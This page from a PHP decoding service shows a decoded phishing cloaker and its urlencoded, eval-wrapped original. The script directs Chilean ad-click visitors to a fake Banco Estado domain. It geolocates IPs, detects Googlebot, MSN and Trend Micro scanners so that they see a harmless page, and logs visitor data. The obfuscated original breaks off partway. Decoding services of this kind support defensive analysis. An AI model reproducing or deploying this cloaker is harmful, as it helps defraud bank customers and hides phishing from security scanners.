Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? $urlscam = "https://banc0estad0.cl.focap-cm.net/";//url de el scam $urlreal = "hom..

Decoded Output download

<?php $referer = ($_SERVER["HTTP_REFERER"] == "") ? "<br>NADA" : $_SERVER["HTTP_REFERER"];
define("NAVEGADOR", $_SERVER["HTTP_USER_AGENT"]); //nombre de el navegador
define("GOOGLEBOT", strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")); //control de googlebot
define("MSNBOT", strpos($_SERVER["HTTP_USER_AGENT"], "msn")); //control de msnbot
define("REFERER", $referer); //referer enviado desde la pagina
define("URLSCAM", $urlscam); //url de el scam
define("URLBOT", $urlreal); //url que se coloco para el trafico
$Hora = date('H:i:s');
$ip = $_SERVER["REMOTE_ADDR"];
@$palabraclave = $_REQUEST["keyword"]; //la palabra clave que activo el anuncio
@$matchtype = $_REQUEST["matchtype"]; //e = concordancia exacta, p = concordancia frase, b = concordancia amplia
@$network = $_REQUEST["network"]; //g = Busqueda de Google, s = Asociado de Busqueda, c = Red de Display
@$device = $_REQUEST["device"]; //m = Celulares, t = tablets, c = Es un PC
@$devicemodel = $_REQUEST["devicemodel"]; //modelo de quien se conecto
@$placement = $_REQUEST["placement"]; //indica desde donde se dio clic
@$adposition = $_REQUEST["adposition"]; //indica la pocision donde aparecio el anuncio
@$target = $_REQUEST["target"];
@$creative = $_REQUEST["creative"];
$hostname = gethostbyaddr($_SERVER["REMOTE_ADDR"]);
$archivodebug = "debuger.html";
if (!function_exists('curl_exec')) {
    $contenido = file_get_contents("http://ip-api.com/json/" . $_SERVER["REMOTE_ADDR"]);
} else {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/" . $ip);
    curl_setopt($ch, CURLOPT_USERAGENT, $navegador);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_VERBOSE, true);
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $contenido = curl_exec($ch);
    curl_close($ch);
}
$resultado = explode('","', $contenido);
$countrycode = $resultado[3];
$countryfull = explode('":"', $countrycode);
//TERMINA ZZONA VARIABLES
if ($matchtype == "e") {
    $tipoconcordancia = "Palabra Exacta";
} else if ($matchtype == "b") {
    $tipoconcordancia = "Palabra Amplia";
} else if ($matchtype == "b") {
    $tipoconcordancia = "Palabra De Frase";
} else {
    $tipoconcordancia = $matchtype;
}
if ($network == "g") {
    $tipodered = "Busqueda de Google";
} else if ($network == "s") {
    $tipodered = "Asociado de Busqueda";
} else if ($network == "c") {
    $tipodered = "Red de Busqueda Display";
} else {
    $tipodered = $network;
}
if ($device == "m") {
    $tipodispositivo = "Es un Celular!!";
} else if ($device == "t") {
    $tipodispositivo = "Es una Tablet!!";
} else if ($device == "c") {
    $tipodispositivo = "Es una PC!!";
} else {
    $tipodispositivo = $network;
}
$dispositivomodelo = $devicemodel;
$clicreferer = $placement;
$targe1 = $target;
$creative1 = $creative;
if ($adposition == "1t2") {
    $posicionanuncio = "Primera Pagina, Segunda Pocision";
} else if ($adposition == "1t1") {
    $pocisionanuncio = "Primera Pagina, Primera Pocision";
} else if ($adposition == "2t2") {
    $pocisionanuncio = "Segunda Pagina, Segunda Pocision";
} else if ($adposition == "2t1") {
    $pocisionanuncio = "Segunda Pagina, Primera Pocision";
} else {
    $pocisionanuncio = $adposition;
}
$todook = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>TODO OK!!!";
$todook.= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-" . $creative1;
$todook.= ($ip == "") ? "" : "<br>IP: " . $ip;
$todook.= ($Hora == "") ? "" : " ---    HORA:" . $Hora;
$todook.= ($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:" . @$palabraclave . "</b>";
$todook.= ($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:" . @$tipoconcordancia;
$todook.= ($tipodered == "") ? "" : "<br>TIPO DE RED:" . @$tipodered;
$todook.= ($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:" . @$tipodispositivo;
$todook.= ($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:" . @$pocisionanuncio;
$todook.= (REFERER == "") ? "" : "<br>REFERER: " . REFERER;
$todook.= (URLSCAM == "") ? "<br>NO CONTIENE URLBOT" : "nURL DESTINO:" . URLSCAM;
$todook.= ($target == "") ? "" : "<br>TARGET:" . $target;
$todook.= ($hostname == "") ? "" : "<br>HOSTNAME:" . @$hostname;
$todook.= "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br><br>";
$navegadoresunbot = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>EL NAVEGADOR ES UN BOT!!!";
$navegadoresunbot.= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-" . $creative1;
$navegadoresunbot.= ($ip == "") ? "" : "<br>IP: " . $ip;
$navegadoresunbot.= ($Hora == "") ? "" : " ---    HORA:" . $Hora;
$navegadoresunbot.= ($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:" . @$palabraclave . "</b>";
$navegadoresunbot.= ($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:" . @$tipoconcordancia;
$navegadoresunbot.= ($tipodered == "") ? "" : "<br>TIPO DE RED:" . @$tipodered;
$navegadoresunbot.= ($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:" . @$tipodispositivo;
$navegadoresunbot.= ($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:" . @$pocisionanuncio;
$navegadoresunbot.= (REFERER == "") ? "" : "<br>REFERER: " . REFERER;
$navegadoresunbot.= (URLBOT == "") ? "<br>NO CONTIENE URLBOT" : "<br>URL DESTINO:" . URLBOT;
$navegadoresunbot.= ($target == "") ? "" : "<br>TARGET:" . $target;
$navegadoresunbot.= ($hostname == "") ? "" : "<br>HOSTNAME:" . @$hostname;
$navegadoresunbot.= "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br><br>";
$conectagoogle = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>SE CONECTA DESDE GOOGLE!!!";
$conectagoogle.= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-" . $creative1;
$conectagoogle.= ($ip == "") ? "" : "<br>IP: " . $ip;
$conectagoogle.= ($Hora == "") ? "" : " ---    HORA:" . $Hora;
$conectagoogle.= ($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:" . @$palabraclave . "</b>";
$conectagoogle.= ($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:" . @$tipoconcordancia;
$conectagoogle.= ($tipodered == "") ? "" : "<br>TIPO DE RED:" . @$tipodered;
$conectagoogle.= ($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:" . @$tipodispositivo;
$conectagoogle.= ($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:" . @$pocisionanuncio;
$conectagoogle.= (REFERER == "") ? "" : "<br>REFERER: " . REFERER;
$conectagoogle.= (URLBOT == "") ? "<br>NO CONTIENE URLBOT" : "<br>URL DESTINO:" . URLBOT;
$conectagoogle.= ($target == "") ? "" : "<br>TARGET:" . $target;
$conectagoogle.= ($hostname == "") ? "" : "<br>HOSTNAME:" . @$hostname;
$conectagoogle.= "<br>-------------------------------------------------------------------------------------<br><br>";
$noesnacionalidad = "<br>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>NO ES DE LA NACIONALIDAD SELECCIONADA " . @$nacionalidad . "!!!";
$noesnacionalidad.= ($creative1 == "") ? "" : "<br>ID ANUNCIO: ANUNCIO-ID-" . $creative1;
$noesnacionalidad.= ($ip == "") ? "" : "<br>IP: " . $ip;
$noesnacionalidad.= ($Hora == "") ? "" : " ---    HORA:" . $Hora;
$noesnacionalidad.= ($palabraclave == "") ? "" : "<br><b>PALABRA CLAVE:" . @$palabraclave . "</b>";
$noesnacionalidad.= ($tipoconcordancia == "") ? "" : "<br>TIPO DE CONCORDANCIA:" . @$tipoconcordancia;
$noesnacionalidad.= ($tipodered == "") ? "" : "<br>TIPO DE RED:" . @$tipodered;
$noesnacionalidad.= ($tipodispositivo == "") ? "" : "<br>TIPO DE DISPOSITIVO:" . @$tipodispositivo;
$noesnacionalidad.= ($pocisionanuncio == "") ? "" : "<br>POCISION DEL ANUNCIO:" . @$pocisionanuncio;
$noesnacionalidad.= (REFERER == "") ? "" : "<br>REFERER: " . REFERER;
$noesnacionalidad.= (URLBOT == "") ? "<br>NO CONTIENE URLBOT" : "<br>URL DESTINO:" . URLBOT;
$noesnacionalidad.= ($target == "") ? "" : "<br>TARGET:" . $target;
$noesnacionalidad.= ($hostname == "") ? "" : "<br>HOSTNAME:" . @$hostname;
$noesnacionalidad.= "<br>--------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>";
if ((GOOGLEBOT !== false) || (MSNBOT !== false)) { //se comprueba primero el navegador
    if (file_exists($archivodebug)) {
        $debug = fopen($archivodebug, "a+");
        fwrite($debug, $navegadoresunbot);
        fclose($debug);
        // header("HTTP/1.1 301 Moved Permanently");
        //header("Location: ".URLBOT);
        print "<html><head></head><body><script>document.location='" . URLBOT . "';</script></body></html>";
    } else {
        $debug = fopen($archivodebug, "a+");
        fwrite($debug, "<center><h1>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h1></center><br><br>" . $navegadoresunbot);
        fclose($debug);
    }
} else {
    //print_r($countryfull);
    if ($countryfull[1] == $nacionalidad) {
        $dns = gethostbyaddr($ip);
        $googlebot = strpos($dns, "google");
        $reportphishing = strpos($dns, "trendmicro");
        $msn = strpos($dns, "msn");
        $banelco = strpos($dns, "banelco");
        //print "es una persona";
        if (($googlebot !== false) || ($reportphishing !== false) || ($msn !== false) || ($banelco !== false)) //si el nombre de dominio dice googlebot o  google es un robot
        {
            $visitante = "robot";
        } else {
            $visitante = "persona";
        }
        if ($visitante == "persona") {
            if (file_exists($archivodebug)) {
                $debug = fopen($archivodebug, "a+");
                fwrite($debug, $todook);
                fclose($debug);
            } else {
                $debug = fopen($archivodebug, "a+");
                fwrite($debug, "<center><h1>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h1></center><br><br>" . $todook);
                fclose($debug);
            }
            //header("HTTP/1.1 301 Moved Permanently");
            //header("Location: ".URLSCAM);
            print "<html><head></head><body><script>document.location='" . URLSCAM . "';</script></body></html>";
            //print "es persona";
            
        } else {
            if (file_exists($archivodebug)) {
                $debug = fopen($archivodebug, "a+");
                fwrite($debug, $conectagoogle);
                fclose($debug);
                //header("HTTP/1.1 301 Moved Permanently");
                //header("Location: ".URLBOT);
                
            } else {
                $debug = fopen($archivodebug, "a+");
                fwrite($debug, "<center><h2>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h2></center><br><br>" . $conectagoogle);
                fclose($debug);
            }
            print "<html><head></head><body><script>document.location='" . URLBOT . "';</script></body></html>";
            //  print "es un robot";
            
        }
    } else {
        if (file_exists($archivodebug)) {
            $debug = fopen($archivodebug, "a+");
            fwrite($debug, $noesnacionalidad);
            fclose($debug);
        } else {
            $debug = fopen($archivodebug, "a+");
            fwrite($debug, "<center><h1>NO LO DEJES LLENAR MUCHO ^.^ PARCERO!!!!!</h1></center><br><br>" . $noesnacionalidad);
            fclose($debug);
        }
        //print "no es de nacionalidad  ".$nacionalidad;
        //header("HTTP/1.1 301 Moved Permanently");
        //header("Location: ".URLBOT);
        print "<html><head></head><body><script>document.location='" . URLBOT . "';</script></body></html>";
        //
        
    }
}

Did this file decode correctly?

Original Code

<? 

$urlscam = "https://banc0estad0.cl.focap-cm.net/";//url de el scam
$urlreal = "home.html";//url que se coloca en adwords
$nacionalidad = "CL";//info http://es.wikipedia.org/wiki/Categora:Wikipedia:Plantillas_de_pas


 eval(urldecode("%24%72%65%66%65%72%65%72%20%20%3d%20%28%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%52%45%46%45%52%45%52%22%5d%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%41%44%41%22%20%3a%20%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%52%45%46%45%52%45%52%22%5d%3b%0d%0a%64%65%66%69%6e%65%28%22%4e%41%56%45%47%41%44%4f%52%22%2c%20%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%55%53%45%52%5f%41%47%45%4e%54%22%5d%29%3b%2f%2f%6e%6f%6d%62%72%65%20%64%65%20%65%6c%20%6e%61%76%65%67%61%64%6f%72%0d%0a%64%65%66%69%6e%65%28%22%47%4f%4f%47%4c%45%42%4f%54%22%2c%20%73%74%72%70%6f%73%28%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%55%53%45%52%5f%41%47%45%4e%54%22%5d%2c%22%47%6f%6f%67%6c%65%62%6f%74%22%29%29%3b%2f%2f%63%6f%6e%74%72%6f%6c%20%64%65%20%67%6f%6f%67%6c%65%62%6f%74%0d%0a%64%65%66%69%6e%65%28%22%4d%53%4e%42%4f%54%22%2c%20%73%74%72%70%6f%73%28%24%5f%53%45%52%56%45%52%5b%22%48%54%54%50%5f%55%53%45%52%5f%41%47%45%4e%54%22%5d%2c%22%6d%73%6e%22%29%29%3b%2f%2f%63%6f%6e%74%72%6f%6c%20%64%65%20%6d%73%6e%62%6f%74%0d%0a%64%65%66%69%6e%65%28%22%52%45%46%45%52%45%52%22%2c%24%72%65%66%65%72%65%72%29%3b%2f%2f%72%65%66%65%72%65%72%20%65%6e%76%69%61%64%6f%20%64%65%73%64%65%20%6c%61%20%70%61%67%69%6e%61%0d%0a%64%65%66%69%6e%65%28%22%55%52%4c%53%43%41%4d%22%2c%24%75%72%6c%73%63%61%6d%29%3b%2f%2f%75%72%6c%20%64%65%20%65%6c%20%73%63%61%6d%0d%0a%64%65%66%69%6e%65%28%22%55%52%4c%42%4f%54%22%2c%24%75%72%6c%72%65%61%6c%29%3b%2f%2f%75%72%6c%20%71%75%65%20%73%65%20%63%6f%6c%6f%63%6f%20%70%61%72%61%20%65%6c%20%74%72%61%66%69%63%6f%0d%0a%24%48%6f%72%61%3d%20%64%61%74%65%28%27%48%3a%69%3a%73%27%29%3b%0d%0a%24%69%70%20%3d%20%24%5f%53%45%52%56%45%52%5b%22%52%45%4d%4f%54%45%5f%41%44%44%52%22%5d%3b%0d%0a%0d%0a%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%6b%65%79%77%6f%72%64%22%5d%3b%2f%2f%6c%61%20%70%61%6c%61%62%72%61%20%63%6c%61%76%65%20%71%75%65%20%61%63%74%69%76%6f%20%65%6c%20%61%6e%75%6e%63%69%6f%0d%0a%40%24%6d%61%74%63%68%74%79%70%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%6d%61%74%63%68%74%79%70%65%22%5d%3b%2f%2f%65%20%3d%20%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%65%78%61%63%74%61%2c%20%70%20%3d%20%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%66%72%61%73%65%2c%20%62%20%3d%20%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%61%6d%70%6c%69%61%09%09%09%20%20%0d%0a%40%24%6e%65%74%77%6f%72%6b%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%6e%65%74%77%6f%72%6b%22%5d%3b%2f%2f%67%20%3d%20%42%75%73%71%75%65%64%61%20%64%65%20%47%6f%6f%67%6c%65%2c%20%73%20%3d%20%41%73%6f%63%69%61%64%6f%20%64%65%20%42%75%73%71%75%65%64%61%2c%20%63%20%3d%20%52%65%64%20%64%65%20%44%69%73%70%6c%61%79%09%09%0d%0a%40%24%64%65%76%69%63%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%64%65%76%69%63%65%22%5d%3b%2f%2f%6d%20%3d%20%43%65%6c%75%6c%61%72%65%73%2c%20%74%20%3d%20%74%61%62%6c%65%74%73%2c%20%63%20%3d%20%45%73%20%75%6e%20%50%43%09%0d%0a%40%24%64%65%76%69%63%65%6d%6f%64%65%6c%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%64%65%76%69%63%65%6d%6f%64%65%6c%22%5d%3b%2f%2f%6d%6f%64%65%6c%6f%20%64%65%20%71%75%69%65%6e%20%73%65%20%63%6f%6e%65%63%74%6f%0d%0a%40%24%70%6c%61%63%65%6d%65%6e%74%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%70%6c%61%63%65%6d%65%6e%74%22%5d%3b%20%2f%2f%69%6e%64%69%63%61%20%64%65%73%64%65%20%64%6f%6e%64%65%20%73%65%20%64%69%6f%20%63%6c%69%63%0d%0a%40%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%61%64%70%6f%73%69%74%69%6f%6e%22%5d%3b%2f%2f%69%6e%64%69%63%61%20%6c%61%20%70%6f%63%69%73%69%6f%6e%20%64%6f%6e%64%65%20%61%70%61%72%65%63%69%6f%20%65%6c%20%61%6e%75%6e%63%69%6f%0d%0a%40%24%74%61%72%67%65%74%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%74%61%72%67%65%74%22%5d%3b%0d%0a%40%24%63%72%65%61%74%69%76%65%20%3d%20%24%5f%52%45%51%55%45%53%54%5b%22%63%72%65%61%74%69%76%65%22%5d%3b%0d%0a%24%68%6f%73%74%6e%61%6d%65%3d%67%65%74%68%6f%73%74%62%79%61%64%64%72%28%24%5f%53%45%52%56%45%52%5b%22%52%45%4d%4f%54%45%5f%41%44%44%52%22%5d%29%3b%0d%0a%24%61%72%63%68%69%76%6f%64%65%62%75%67%20%3d%20%22%64%65%62%75%67%65%72%2e%68%74%6d%6c%22%3b%0d%0a%0d%0a%69%66%28%21%66%75%6e%63%74%69%6f%6e%5f%65%78%69%73%74%73%28%27%63%75%72%6c%5f%65%78%65%63%27%29%29%0d%0a%7b%0d%0a%09%24%63%6f%6e%74%65%6e%69%64%6f%20%3d%20%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%22%68%74%74%70%3a%2f%2f%69%70%2d%61%70%69%2e%63%6f%6d%2f%6a%73%6f%6e%2f%22%2e%24%5f%53%45%52%56%45%52%5b%22%52%45%4d%4f%54%45%5f%41%44%44%52%22%5d%29%3b%0d%0a%7d%65%6c%73%65%7b%0d%0a%09%0d%0a%09%24%63%68%20%3d%20%63%75%72%6c%5f%69%6e%69%74%28%29%3b%0d%0a%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%55%52%4c%2c%20%22%68%74%74%70%3a%2f%2f%69%70%2d%61%70%69%2e%63%6f%6d%2f%6a%73%6f%6e%2f%22%2e%24%69%70%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%55%53%45%52%41%47%45%4e%54%2c%20%24%6e%61%76%65%67%61%64%6f%72%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%53%53%4c%5f%56%45%52%49%46%59%50%45%45%52%2c%20%66%61%6c%73%65%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%56%45%52%42%4f%53%45%2c%20%74%72%75%65%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%43%4f%4f%4b%49%45%53%45%53%53%49%4f%4e%2c%20%74%72%75%65%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%43%4f%4f%4b%49%45%4a%41%52%2c%20%24%63%6f%6f%6b%69%65%73%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%43%4f%4f%4b%49%45%46%49%4c%45%2c%20%24%63%6f%6f%6b%69%65%73%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%46%4f%4c%4c%4f%57%4c%4f%43%41%54%49%4f%4e%2c%20%54%52%55%45%29%3b%0d%0a%09%63%75%72%6c%5f%73%65%74%6f%70%74%28%24%63%68%2c%20%43%55%52%4c%4f%50%54%5f%52%45%54%55%52%4e%54%52%41%4e%53%46%45%52%2c%20%74%72%75%65%29%3b%0d%0a%0d%0a%09%24%63%6f%6e%74%65%6e%69%64%6f%20%3d%20%63%75%72%6c%5f%65%78%65%63%28%24%63%68%29%3b%0d%0a%09%63%75%72%6c%5f%63%6c%6f%73%65%28%24%63%68%29%3b%0d%0a%09%0d%0a%7d%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%24%72%65%73%75%6c%74%61%64%6f%20%3d%20%65%78%70%6c%6f%64%65%28%27%22%2c%22%27%2c%24%63%6f%6e%74%65%6e%69%64%6f%29%3b%09%0d%0a%24%63%6f%75%6e%74%72%79%63%6f%64%65%20%3d%20%24%72%65%73%75%6c%74%61%64%6f%5b%33%5d%3b%0d%0a%24%63%6f%75%6e%74%72%79%66%75%6c%6c%20%3d%20%65%78%70%6c%6f%64%65%28%27%22%3a%22%27%2c%24%63%6f%75%6e%74%72%79%63%6f%64%65%29%3b%0d%0a%0d%0a%0d%0a%2f%2f%54%45%52%4d%49%4e%41%20%5a%5a%4f%4e%41%20%56%41%52%49%41%42%4c%45%53%0d%0a%0d%0a%0d%0a%0d%0a%09%69%66%28%24%6d%61%74%63%68%74%79%70%65%20%3d%3d%20%22%65%22%29%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%22%50%61%6c%61%62%72%61%20%45%78%61%63%74%61%22%3b%7d%65%6c%73%65%20%69%66%28%24%6d%61%74%63%68%74%79%70%65%20%3d%3d%20%22%62%22%29%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%22%50%61%6c%61%62%72%61%20%41%6d%70%6c%69%61%22%3b%7d%65%6c%73%65%20%69%66%28%24%6d%61%74%63%68%74%79%70%65%20%3d%3d%20%22%62%22%29%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%22%50%61%6c%61%62%72%61%20%44%65%20%46%72%61%73%65%22%3b%7d%65%6c%73%65%7b%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%20%24%6d%61%74%63%68%74%79%70%65%3b%7d%0d%0a%09%69%66%28%24%6e%65%74%77%6f%72%6b%20%3d%3d%20%22%67%22%29%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%22%42%75%73%71%75%65%64%61%20%64%65%20%47%6f%6f%67%6c%65%22%3b%7d%65%6c%73%65%20%69%66%28%24%6e%65%74%77%6f%72%6b%20%3d%3d%20%22%73%22%29%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%22%41%73%6f%63%69%61%64%6f%20%64%65%20%42%75%73%71%75%65%64%61%22%3b%7d%65%6c%73%65%20%69%66%28%24%6e%65%74%77%6f%72%6b%20%3d%3d%20%22%63%22%29%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%22%52%65%64%20%64%65%20%42%75%73%71%75%65%64%61%20%44%69%73%70%6c%61%79%22%3b%7d%65%6c%73%65%7b%24%74%69%70%6f%64%65%72%65%64%20%3d%20%24%6e%65%74%77%6f%72%6b%3b%7d%0d%0a%09%69%66%28%24%64%65%76%69%63%65%20%3d%3d%20%22%6d%22%29%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%22%45%73%20%75%6e%20%43%65%6c%75%6c%61%72%21%21%22%3b%7d%65%6c%73%65%20%69%66%28%24%64%65%76%69%63%65%20%3d%3d%20%22%74%22%29%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%22%45%73%20%75%6e%61%20%54%61%62%6c%65%74%21%21%22%3b%7d%65%6c%73%65%20%69%66%28%24%64%65%76%69%63%65%20%3d%3d%20%22%63%22%29%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%22%45%73%20%75%6e%61%20%50%43%21%21%22%3b%7d%65%6c%73%65%7b%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%20%24%6e%65%74%77%6f%72%6b%3b%7d%0d%0a%09%24%64%69%73%70%6f%73%69%74%69%76%6f%6d%6f%64%65%6c%6f%20%3d%20%24%64%65%76%69%63%65%6d%6f%64%65%6c%3b%0d%0a%09%24%63%6c%69%63%72%65%66%65%72%65%72%20%3d%20%24%70%6c%61%63%65%6d%65%6e%74%3b%0d%0a%09%24%74%61%72%67%65%31%20%3d%20%24%74%61%72%67%65%74%3b%0d%0a%09%24%63%72%65%61%74%69%76%65%31%20%3d%20%24%63%72%65%61%74%69%76%65%3b%0d%0a%09%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%31%74%32%22%29%7b%24%70%6f%73%69%63%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%50%72%69%6d%65%72%61%20%50%61%67%69%6e%61%2c%20%53%65%67%75%6e%64%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%20%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%31%74%31%22%29%7b%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%50%72%69%6d%65%72%61%20%50%61%67%69%6e%61%2c%20%50%72%69%6d%65%72%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%20%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%32%74%32%22%29%7b%09%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%53%65%67%75%6e%64%61%20%50%61%67%69%6e%61%2c%20%53%65%67%75%6e%64%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%20%69%66%28%24%61%64%70%6f%73%69%74%69%6f%6e%20%3d%3d%20%22%32%74%31%22%29%7b%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%22%53%65%67%75%6e%64%61%20%50%61%67%69%6e%61%2c%20%50%72%69%6d%65%72%61%20%50%6f%63%69%73%69%6f%6e%22%3b%7d%65%6c%73%65%7b%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%20%24%61%64%70%6f%73%69%74%69%6f%6e%3b%7d%0d%0a%09%0d%0a%09%0d%0a%09%24%74%6f%64%6f%6f%6b%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%54%4f%44%4f%20%4f%4b%21%21%21%22%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%